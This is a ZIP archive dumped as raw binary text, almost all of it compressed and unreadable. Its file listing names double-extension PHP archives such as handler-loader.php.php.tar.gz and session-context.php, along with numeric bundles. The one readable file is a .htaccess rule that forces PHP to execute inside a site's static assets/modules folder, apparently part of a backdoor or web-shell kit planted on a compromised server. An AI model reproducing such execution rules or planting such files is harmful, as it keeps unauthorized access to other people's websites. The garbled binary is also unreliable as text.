k;+!5+*Ŵ򕦚~!zŔ/RZ	1U~*a4 Q8DK	~j8?ڛ)Қ1)$kKN`qU#i#9r&n?1I	OE?,ҥ@x'7'ƲǷ\kqY҂9}xKR^TŞ7?(s!'t򰋦y}1ܷC]=ԬSkXKgTS?	p<J$\l<"JY2hAnr%pfsguJTd̉ȝ(<W%b3ef3&x'm4$cMMeiYL̱iFL
d+G 7#A}kWT/OՌtMGқ*]d111 O	t(Ita(ju;>a[ޜ;$lH]^Q7V{Xiz9v] 
  PK     -a]_7T  T    handler-loader.php.php.tar.gznu [              T]o03LHBR2&kI{Mxl[wCIr{&(^אַԔUi)M5B$uΔ2ə|0VYu!Aujt1h2Gx#5lSi-B#kKN$88#iP
I9ܜ&n?/1W!~3G7#kc[.5J,iB>|%xm)~/*bۊk	R1׀	/樓y}p0ܷX`]x΀wakG?qƼj#:MI8\l6MUzp(ܚ[@K`J+@igNuJX$	8?w%r3ef3}<¶P0IXGS9@Z{	f+KlQ'S?j!Yb~dƢDf$76oydPHk=TME2!&]YiRNUli4E#N'c;V7b֢=jk5o?9q=~(d 
  PK     -a]9        .htaccess.tarnu [        home/www/zeuportail/assets/static/modules/.htaccess                                                 0000644                 00000000133 15243251120 0016545 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <FilesMatch "\.php$">
Require all granted
SetHandler application/x-httpd-php
</FilesMatch>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     PK     -a]tzQ  Q    session-context.php.php.tar.gznu [              Tn@3_0&CRYjKư]K,[܇Hz<3({>|R)TT-Dڬ<2)($TA9U^<I6\g~8}J߲YhY]L /o-ώ9/9Mpe͒xtgzS,|$#YF<l0KrW6=%Jy]҂Y||M꣨ mPnJ\BF`POvs bnruI+;XV	MrTQ7x:(t<evhҁ,܉3g KRIki+NTJD
^*]Zo"X`;hGqUiHLRVX	bwȣQQY
d^ldp¢#D%2v$WԲop͊hPHu~G6{ uEٸ+-C\@M4]Ax[Td4pft%>aK|6ؽM8NOE 
  PK       S]R!( 
   
                  widget-loader.php.tarnu [        PK       S]Q] @  @             E
  index.php.tarnu [        PK       S])cJf  Jf              J index.php.php.tar.gznu [        PK       S]k++R  R               widget-loader.php.php.tar.gznu [        PK       S]&79 9 	             index.phpnu [        PK       -a]8IQ  Q               runtime-cache.php.php.tar.gznu [        PK       -a]{?RF F              364262.tar.gznu [        PK       -a]] 
   
              x runtime-loader.php.tarnu [        PK       -a]<K    
            Z 364262.tarnu [        PK       -a]                  X .htaccess.htaccess.tar.gznu [        PK       -a]PuB  
            Y 364262.zipnu [        PK       -a]E 
   
              H session-context.php.tarnu [        PK       -a](d 
   
              R handler-loader.php.tarnu [        PK       -a]$ 
   
              ] runtime-cache.php.tarnu [        PK       -a]~{              Xg modules.tar.gznu [        PK       -a]JX 
   
              d/$ widget-cache.php.tarnu [        PK       -a]a*'  '              9$ widget-cache.php.php.tar.gznu [        PK       -a]ABm                <$ modules.tarnu [        PK       -a]S  S              U < runtime-loader.php.php.tar.gznu [        PK       -a]_7T  T              "< handler-loader.php.php.tar.gznu [        PK       -a]9                  %< .htaccess.tarnu [        PK       -a]tzQ  Q              -< session-context.php.php.tar.gznu [        PK      6  r0<   